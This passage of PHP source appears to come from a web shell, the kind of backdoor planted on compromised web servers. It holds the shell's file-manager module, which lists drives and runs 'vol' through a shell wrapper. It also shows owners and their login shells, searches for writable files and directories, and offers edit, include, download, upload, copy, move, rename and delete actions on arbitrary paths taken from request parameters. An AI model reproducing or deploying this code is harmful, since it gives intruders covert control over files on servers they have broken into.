hlinK("seC=fm&workingdiR={$cwd}") . "\">--------</option><option value=\""; if (!empty($_REQUEST['newf'])) { if (!empty($_REQUEST['newfile'])) { file_put_contents($_REQUEST['newf'], ""); } if (!empty($_REQUEST['newdir'])) { mkdir($_REQUEST['newf']); } } if ($windows) { echo "{$table}<td><b>Drives:</b> "; for ($i = 66; $i <= 90; $i++) { $drive = chr($i) . ':'; if (is_dir($drive . "\\")) { $vol = shelL("vol {$drive}"); if (empty($vol)) { $vol = $drive; } echo " <a title=\"{$vol}\" href=" . hlinK("seC=fm&workingdiR={$drive}\\") . ">{$drive}\\</a>"; } } echo $et; } echo "{$table}<form method=\"POST\"><tr><td width=\"20%\"><b>Location:</b><input type=text name=workingdiR size=135 value=\"" . getcwd() . "\"><input class=buttons type=submit value=Change></td></tr></form></table>"; $file = array(); $dir = array(); $link = array(); if ($dirhandle = opendir($cwd)) { while ($cont = readdir($dirhandle)) { if (is_dir($cwd . DIRECTORY_SEPARATOR . $cont)) { $dir[] = $cont; } elseif (is_file($cwd . DIRECTORY_SEPARATOR . $cont)) { $file[] = $cont; } else { $link[] = $cont; } } closedir($dirhandle); sort($file); sort($dir); sort($link); echo "<table border=1 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\"><tr><td width=\"30%\" bgcolor=\"#333333\" align=\"center\">Name</td><td width=\"13%\" bgcolor=\"#333333\" align=\"center\">Owner</td><td width=\"12%\" bgcolor=\"#333333\" align=\"center\">Modification time</td><td width=\"12%\" bgcolor=\"#333333\" align=\"center\">Last change</td><td width=\"5%\" bgcolor=\"#333333\" align=\"center\">Info</td><td width=\"7%\" bgcolor=\"#333333\" align=\"center\">Size</td><td width=\"15%\" bgcolor=\"#333333\" align=\"center\">Actions</td></tr>"; $i = 0; foreach ($dir as $dn) { echo "<tr>"; $i++; $own = "Unknow"; $owner = posix_getpwuid(fileowner($dn)); $mdate = date("Y/m/d H:i:s", filemtime($dn)); $adate = date("Y/m/d H:i:s", fileatime($dn)); $diraction = $select . hlinK("seC=fm&workingdiR=" . realpath($dn)) . "\">Open</option><option value=\"" . hlinK("seC=fm&workingdiR={$cwd}&rN={$dn}") . "\">Rename</option><option value=\"" . hlinK("seC=fm&deL={$dn}&workingdiR={$cwd}") . "\">Remove</option></select></td>"; if ($owner) { $own = "<a title=\" Shell: " . $owner['shell'] . "\" href=\"" . hlinK("seC=fm&workingdiR=" . $owner['dir']) . "\">" . $owner['name'] . "</a>"; } if ($i % 2 == 0) { $cl1 = $td1i; $cl2 = $td1n; } else { $cl1 = $td2i; $cl2 = $td2m; } if (is_writeable($dn)) { echo $tdw; } elseif (!is_readable($dn)) { echo $tdnr; } else { echo $cl2; } echo "<a href=\"" . hlinK("seC=fm&workingdiR=" . realpath($dn)) . "\">"; if (strlen($dn) > 45) { echo substr($dn, 0, 42) . "..."; } else { echo $dn; } echo "</a>"; echo $cl1 . "{$own}</td>"; echo $cl1 . "{$mdate}</td>"; echo $cl1 . "{$adate}</td>"; echo "</td>{$cl1}D"; if (is_readable($dn)) { echo "R"; } if (is_writeable($dn)) { echo "W"; } echo "</td>"; echo "{$cl1}------</td>"; echo $cl2 . $diraction; echo "</tr>"; flusheR(); } foreach ($file as $fn) { echo "<tr>"; $i++; $own = "Unknow"; $owner = posix_getpwuid(fileowner($fn)); $fileaction = $select . hlinK("seC=openit&namE={$fn}&workingdiR={$cwd}") . "\">Open</option><option value=\"" . hlinK("seC=edit&filE={$fn}&workingdiR={$cwd}") . "\">Edit</option><option value=\"" . hlinK("seC=fm&downloaD={$fn}&workingdiR={$cwd}") . "\">Download</option><option value=\"" . hlinK("seC=hex&filE={$fn}&workingdiR={$cwd}") . "\">Hex view</option><option value=\"" . hlinK("seC=img&filE={$fn}&workingdiR={$cwd}") . "\">image</option><option value=\"" . hlinK("seC=inc&filE={$fn}&workingdiR={$cwd}") . "\">Include</option><option value=\"" . hlinK("seC=checksum&filE={$fn}&workingdiR={$cwd}") . "\">Checksum</option><option value=\"" . hlinK("seC=fm&workingdiR={$cwd}&cP={$fn}") . "\">Copy</option><option value=\"" . hlinK("seC=fm&workingdiR={$cwd}&mV={$fn}") . "\">Move</option><option value=\"" . hlinK("seC=fm&workingdiR={$cwd}&rN={$fn}") . "\">Rename</option><option value=\"" . hlinK("seC=fm&deL={$fn}&workingdiR={$cwd}") . "\">Remove</option></select></td>"; $mdate = date("Y/m/d H:i:s", filemtime($fn)); $adate = date("Y/m/d H:i:s", fileatime($fn)); if ($owner) { $own = "<a title=\"Shell:" . $owner['shell'] . "\" href=\"" . hlinK("seC=fm&workingdiR=" . $owner['dir']) . "\">" . $owner['name'] . "</a>"; } $size = showsizE(filesize($fn)); if ($i % 2 == 0) { $cl1 = $td1i; $cl2 = $td1n; } else { $cl1 = $td2i; $cl2 = $td2m; } if (is_writeable($fn)) { echo $tdw; } elseif (!is_readable($fn)) { echo $tdnr; } else { echo $cl2; } echo "<a href=\"" . hlinK("seC=openit&namE={$fn}&workingdiR={$cwd}") . "\">"; if (strlen($fn) > 45) { echo substr($fn, 0, 42) . "..."; } else { echo $fn; } echo "</a>"; echo $cl1 . "{$own}</td>"; echo $cl1 . "{$mdate}</td>"; echo $cl1 . "{$adate}</td>"; echo "</td>{$cl1}"; if (is_readable($fn)) { echo "R"; } if (is_writeable($fn)) { echo "W"; } if (is_executable($fn)) { echo "X"; } if (is_uploaded_file($fn)) { echo "U"; } echo "</td>"; echo "{$cl1}{$size}</td>"; echo $td2m . $fileaction; echo "</tr>"; flusheR(); } foreach ($link as $ln) { $own = "Unknow"; $i++; $owner = posix_getpwuid(fileowner($ln)); $linkaction = $select . hlinK("seC=openit&namE={$ln}&workingdiR={$ln}") . "\">Open</option><option value=\"" . hlinK("seC=edit&filE={$ln}&workingdiR={$cwd}") . "\">Edit</option><option value=\"" . hlinK("seC=fm&downloaD={$ln}&workingdiR={$cwd}") . "\">Download</option><option value=\"" . hlinK("seC=hex&filE={$ln}&workingdiR={$cwd}") . "\">Hex view</option><option value=\"" . hlinK("seC=img&filE={$ln}&workingdiR={$cwd}") . "\">image</option><option value=\"" . hlinK("seC=inc&filE={$ln}&workingdiR={$cwd}") . "\">Include</option><option value=\"" . hlinK("seC=checksum&filE={$ln}&workingdiR={$cwd}") . "\">Checksum</option><option value=\"" . hlinK("seC=fm&workingdiR={$cwd}&cP={$ln}") . "\">Copy</option><option value=\"" . hlinK("seC=fm&workingdiR={$cwd}&mV={$ln}") . "\">Move</option><option value=\"" . hlinK("seC=fm&workingdiR={$cwd}&rN={$ln}") . "\">Rename</option><option value=\"" . hlinK("seC=fm&deL={$ln}&workingdiR={$cwd}") . "\">Remove</option></select></td>"; $mdate = date("Y/m/d H:i:s", filemtime($ln)); $adate = date("Y/m/d H:i:s", fileatime($ln)); if ($owner) { $own = "<a title=\"Shell: " . $owner['shell'] . "\" href=\"" . hlinK("seC=fm&workingdiR=" . $owner['dir']) . "\">" . $owner['name'] . "</a>"; } echo "<tr>"; $size = showsizE(filesize($ln)); if ($i % 2 == 0) { $cl1 = $td1i; $cl2 = $td1n; } else { $cl1 = $td2i; $cl2 = $td2m; } if (is_writeable($ln)) { echo $tdw; } elseif (!is_readable($ln)) { echo $tdnr; } else { echo $cl2; } echo "<a href=\"" . hlinK("seC=openit&namE={$ln}&workingdiR={$cwd}") . "\">"; if (strlen($ln) > 45) { echo substr($ln, 0, 42) . "..."; } else { echo $ln; } echo "</a>"; echo $cl1 . "{$own}</td>"; echo $cl1 . "{$mdate}</td>"; echo $cl1 . "{$adate}</td>"; echo "</td>{$cl1}L"; if (is_readable($ln)) { echo "R"; } if (is_writeable($ln)) { echo "W"; } if (is_executable($ln)) { echo "X"; } echo "</td>"; echo "{$cl1}{$size}</td>"; echo $cl2 . $linkaction; echo "</tr>"; flusheR(); } } $dc = count($dir) - 2; if ($dc == -2) { $dc = 0; } $fc = count($file); $lc = count($link); $total = $dc + $fc + $lc; echo "{$table}<tr><td><form method=POST>Find:<input type=text name=search><input type=checkbox name=re value=1 style=\"border-width:1px;background-color:#333333;\" checked>Regular expressions <input type=submit class=buttons value=Find>{$hcwd}<input type=hidden value=7 name=task></form></td><td><form method=POST>{$hcwd}<input type=hidden value=\"fm\" name=seC><select name=task><option value=0>Display files and directories in current folder</option><option value=1>Find writable files and directories in current folder</option><option value=2>Find writable files in current folder</option><option value=3>Find writable directories in current folder</option><option value=4>Display all files in current folder</option><option value=5>Display all directories in current folder</option></select><input type=submit class=buttons value=Do></form>{$et}</tr></table><table width=\"100%\"><tr><td width=\"50%\"><br><table bgcolor=#333333 border=0 width=\"65%\"><td><b>Summery:</b> Total: {$total} Directories: {$dc} Files: {$fc} Links: {$lc}</td></table><table bgcolor=#333333 border=0 width=\"65%\"><td width=\"100%\" bgcolor="; if (is_writeable($cwd)) { echo "#006E00"; } elseif (!is_readable($cwd)) { echo "#800000"; } else { "#333333"; } echo ">Current directory status: "; if (is_readable($cwd)) { echo "R"; } if (is_writeable($cwd)) { echo "W"; } echo "</td></table><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"65%\"><tr><td width=\"100%\" bgcolor=\"#333333\">New:</td></tr><tr>{$td1n}<form method=\"POST\"><input type=text size=47 name=newf></td></tr><tr>{$td2m}{$hcwd}<input class=buttons type=submit name=newfile value=\"File\"><input class=buttons type=submit name=newdir value=\"Folder\"></td></tr></form></table></td><td width=\"50%\"><br>{$t}Upload:</td></tr><tr>{$td1n}<form method=\"POST\" enctype=\"multipart/form-data\"><input type=file size=45 name=uploadfile></td></tr><tr>{$td2m}{$hcwd}<input class=buttons type=submit value=Upload></td></tr>{$td1n} Note: Max allowed file size to upload on this server is " . ini_get('upload_max_filesize') . "</td></tr></form></table>{$et}"; } }